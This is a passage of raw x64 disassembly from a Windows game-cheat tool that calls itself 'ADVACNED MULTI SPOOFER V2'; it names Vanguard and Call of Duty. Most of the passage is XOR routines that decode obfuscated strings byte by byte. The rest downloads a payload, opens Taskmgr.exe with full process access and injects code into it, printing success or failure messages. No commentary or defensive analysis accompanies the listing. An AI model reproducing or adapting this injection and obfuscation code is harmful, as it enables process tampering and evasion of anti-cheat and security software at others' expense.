imul rcx, rcx, 0x25
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x135], al
mov eax, Ordinal_41
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x26
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x136], al
mov eax, Ordinal_41
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x27
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x137], al
mov eax, Ordinal_41
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x28
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x138], al
mov eax, reloc.WLDAP32.dll_Ordinal_41
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x29
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x139], al
mov eax, Ordinal_46
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x2a
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x13a], al
mov eax, Ordinal_46
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x2b
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x13b], al
mov eax, Ordinal_46
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x2c
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x13c], al
mov eax, reloc.WLDAP32.dll_Ordinal_45
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x2d
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x13d], al
mov eax, reloc.WLDAP32.dll_Ordinal_46
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x2e
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x13e], al
mov eax, Ordinal_50
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x2f
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x13f], al
mov eax, Ordinal_50
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x30
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x140], al
mov eax, Ordinal_50
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x31
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x141], al
mov eax, reloc.WLDAP32.dll_Ordinal_50
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x32
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x142], al
mov eax, 0x33
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x33
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x143], al
mov eax, 0x34
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x34
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x144], al
mov eax, gethostname
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x35
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x145], al
mov eax, gethostname
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x36
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x146], al
mov eax, gethostname
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x37
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x147], al
mov eax, gethostname
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x38
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x148], al
mov eax, reloc.WS2_32.dll_gethostname
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x39
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x149], al
mov eax, Ordinal_60
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x3a
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x14a], al
mov eax, Ordinal_60
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x3b
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x14b], al
mov eax, reloc.WLDAP32.dll_Ordinal_60
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x3c
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x14c], al
mov eax, 0x3d
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x3d
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x14d], al
mov eax, 0x3e
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x3e
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x14e], al
mov eax, 0x3f
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0x3f
lea rdx, str.WARNING__AFTER_EACH_USE_RESTART_PC_n_BEFORE_PLAYING_OTHER_GAMES__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x14f], al
mov byte [rsp + 0x150], 0
mov byte [rsp + 0x151], 1
lea rcx, [rsp + 0x110]
call fcn.1400aa220
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x1d50]
lea rcx, [rsp + 0x1d40]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea r9, [rsp + 0x1d50]
xor r8d, r8d
mov rdx, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0xeac0]
call fcn.1400aaa90
call fcn.1400f63c0
call fcn.1400f63c0
movss xmm1, dword [0x14039cef4]
movss xmm0, dword [0x14039ce90]
call fcn.1400cdb80
xor eax, eax
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x88], al
mov eax, 1
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x89], al
mov eax, 2
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x8a], al
mov eax, 3
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x8b], al
mov eax, 4
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x8c], al
mov eax, 5
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x8d], al
mov eax, 6
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x8e], al
mov eax, 7
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x8f], al
mov eax, 8
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x90], al
mov eax, 9
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x91], al
mov eax, 0xa
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x92], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x93], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x94], al
mov eax, reloc.WS2_32.dll_listen
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x95], al
mov eax, reloc.WS2_32.dll_ntohl
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x96], al
mov eax, reloc.WS2_32.dll_ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Vanguard_Beta__
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x97], al
mov byte [rsp + 0x98], 0
mov byte [rsp + 0x99], 1
lea rcx, [rsp + 0x88]
call fcn.1400aa250
mov qword [rsp + 0x1cc8], rax
movss xmm2, dword [0x14039ce7c]
movss xmm1, dword [0x14039ce4c]
lea rcx, [rsp + 0x1b0]
call fcn.14005eef0
lea rcx, [rsp + 0x1b0]
call fcn.1400cdce0
mov r9d, 1
lea r8, str.Vanguard
lea rdx, [0x140406bcc]
lea rcx, str.freecombo
call fcn.1400f7ea0
movss xmm2, dword [0x14039ce98]
movss xmm1, dword [0x14039ce90]
lea rcx, [rsp + 0x1b8]
call fcn.14005eef0
lea rcx, [rsp + 0x1b8]
call fcn.1400cdce0
movss xmm2, dword [0x14039ce14]
movss xmm1, dword [0x14039cef4]
lea rcx, [rsp + 0x1cd0]
call fcn.14005eef0
mov qword [rsp + 0x1c0], rax
xor eax, eax
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x60], al
mov eax, 1
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x61], al
mov eax, 2
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x62], al
mov eax, 3
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x63], al
mov eax, 4
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x64], al
mov eax, 5
add rax, 0xffffffffffffffe0
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x65], al
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 1
lea rcx, [rsp + 0x60]
call fcn.14005d630
mov qword [rsp + 0x1c8], rax
mov rdx, qword [rsp + 0x1c0]
mov rcx, qword [rsp + 0x1c8]
call fcn.1400f5190
movzx eax, al
test eax, eax
je 0x14006e9e3
cmp dword [0x140406bcc], 0
jne 0x14006e9e3
mov dword [rsp + 0x170], 0
mov edx, Ordinal_26
lea rcx, [rsp + 0xa2d8]
call fcn.1400aa280
lea rcx, [rsp + 0xa2d8]
call fcn.1400ac3f0
nop
mov eax, dword [rsp + 0x170]
mov dword [rsp + 0x174], eax
cmp dword [rsp + 0x174], 0
je 0x14006e0ec
jmp 0x14006e160
lea rax, [rsp + 0xa218]
mov qword [rsp + 0x1d0], rax
lea rdx, [0x140406f98]
mov rcx, qword [rsp + 0x1d0]
call fcn.14005da10
mov qword [rsp + 0x1d8], rax
mov r8, qword [rsp + 0x1d8]
lea rdx, [rsp + 0x87d0]
lea rcx, [0x1404071d0]
call fcn.1400694c0
mov qword [rsp + 0x1e0], rax
mov rdx, qword [rsp + 0x1e0]
lea rcx, [rsp + 0xa2d8]
call fcn.1400ac350
lea rcx, [rsp + 0x87d0]
call fcn.1400ac2f0
jmp 0x14006e172
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call fcn.1402ad474
lea rcx, [rsp + 0xa2d8]
call fcn.1400ac2e0
movzx eax, al
test eax, eax
je 0x14006e1c1
mov rax, qword [rsp + 0xeac0]
lea rdx, str.Failed_to_download
mov rcx, rax
call fcn.1400acc00
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 0xffffffff
lea rcx, [rsp + 0xa2d8]
call fcn.1400ac2f0
jmp 0x1400aa202
movzx eax, byte [0x140406e90]
test eax, eax
jne 0x14006e9d6
lea rdx, str.Taskmgr.exe
mov rcx, qword [rsp + 0xeac0]
call fcn.1400ab200
mov dword [rsp + 0x164], eax
mov r8d, dword [rsp + 0x164]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x1f8], rax
cmp dword [rsp + 0x164], 0
je 0x14006e9d6
lea rcx, [rsp + 0xa2d8]
call fcn.1400ac2d0
mov qword [rsp + 0x1e8], rax
xor edx, edx
lea rcx, [rsp + 0xa2d8]
call fcn.1400ac2c0
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0x1f8]
call fcn.1400bae80
movzx eax, al
test eax, eax
jne 0x14006e5b3
xor eax, eax
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa0], al
mov eax, 1
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa1], al
mov eax, 2
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa2], al
mov eax, 3
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa3], al
mov eax, 4
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa4], al
mov eax, 5
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa5], al
mov eax, 6
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa6], al
mov eax, 7
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa7], al
mov eax, 8
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa8], al
mov eax, 9
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xa9], al
mov eax, 0xa
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xaa], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xab], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xac], al
mov eax, reloc.WS2_32.dll_listen
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xad], al
mov eax, reloc.WS2_32.dll_ntohl
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xae], al
mov eax, reloc.WS2_32.dll_ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Failed_to_Inject
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xaf], al
mov byte [rsp + 0xb0], 0
mov byte [rsp + 0xb1], 1
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x200], rax
lea rdx, [rsp + 0x8918]
mov rcx, qword [rsp + 0x200]
call fcn.1400ab340
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0xeac0]
mov rdx, qword [rsp + 0x208]
mov rcx, rax
call fcn.14005d940
lea rcx, [rsp + 0x8918]
call fcn.14005d8e0
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 0xffffffff
jmp 0x14006e9d6
xor eax, eax
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xb8], al
mov eax, 1
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xb9], al
mov eax, 2
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xba], al
mov eax, 3
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xbb], al
mov eax, 4
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xbc], al
mov eax, 5
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xbd], al
mov eax, 6
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xbe], al
mov eax, 7
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xbf], al
mov eax, 8
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc0], al
mov eax, 9
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc1], al
mov eax, 0xa
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc2], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc3], al
mov eax, ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc4], al
mov eax, reloc.WS2_32.dll_listen
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc5], al
mov eax, reloc.WS2_32.dll_ntohl
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc6], al
mov eax, reloc.WS2_32.dll_ntohs
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc7], al
mov eax, reloc.WS2_32.dll_recv
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc8], al
mov eax, reloc.WS2_32.dll_recvfrom
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc9], al
mov eax, reloc.WS2_32.dll_select
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xca], al
mov eax, reloc.WS2_32.dll_send
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xcb], al
mov eax, reloc.WS2_32.dll_sendto
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xcc], al
mov eax, reloc.WS2_32.dll_setsockopt
add rax, 0xffffffffffffff84
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Successfully_injected_
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xcd], al
mov byte [rsp + 0xce], 0
mov byte [rsp + 0xcf], 1
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x210], rax
lea rdx, [rsp + 0x8938]
mov rcx, qword [rsp + 0x210]
call fcn.1400ab5a0
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0xeac0]
mov rdx, qword [rsp + 0x218]
mov rcx, rax
call fcn.14005d940
lea rcx, [rsp + 0x8938]
call fcn.14005d8e0
mov rax, qword [rsp + 0xeac0]
mov dword [rax + 0x20c], 0
lea rcx, [rsp + 0xa2d8]
call fcn.1400ac2f0
mov rax, qword [rsp + 0xeac0]
cmp dword [rax + 0x20c], 6
jne 0x14006eae1
mov rcx, qword [rsp + 0xeac0]
call fcn.1400ab150
mov r8b, 1
mov edx, 0x56
lea rcx, str.___ADVACNED_MULTI_SPOOFER_V2
call fcn.14006be90
call fcn.1400f6410
lea rcx, str._____________________WELCOME
call fcn.1400f43b0
call fcn.1400f63c0
call fcn.1400f63c0
lea rcx, str._________LIST_OF_SUPPORTED_GAMES
call fcn.1400f43b0
movss xmm2, dword [0x14039ce78]
movss xmm1, dword [0x14039ce2c]
lea rcx, [rsp + 0x220]
call fcn.14005eef0
lea rcx, [rsp + 0x220]
call fcn.1400cdce0
mov dword [rsp + 0x20], 0xffffffff
mov r9d, 0xa
lea r8, str._________CALL_OF_DUTY
lea rdx, [0x140406d8c]
lea rcx, str.SUPPORTED
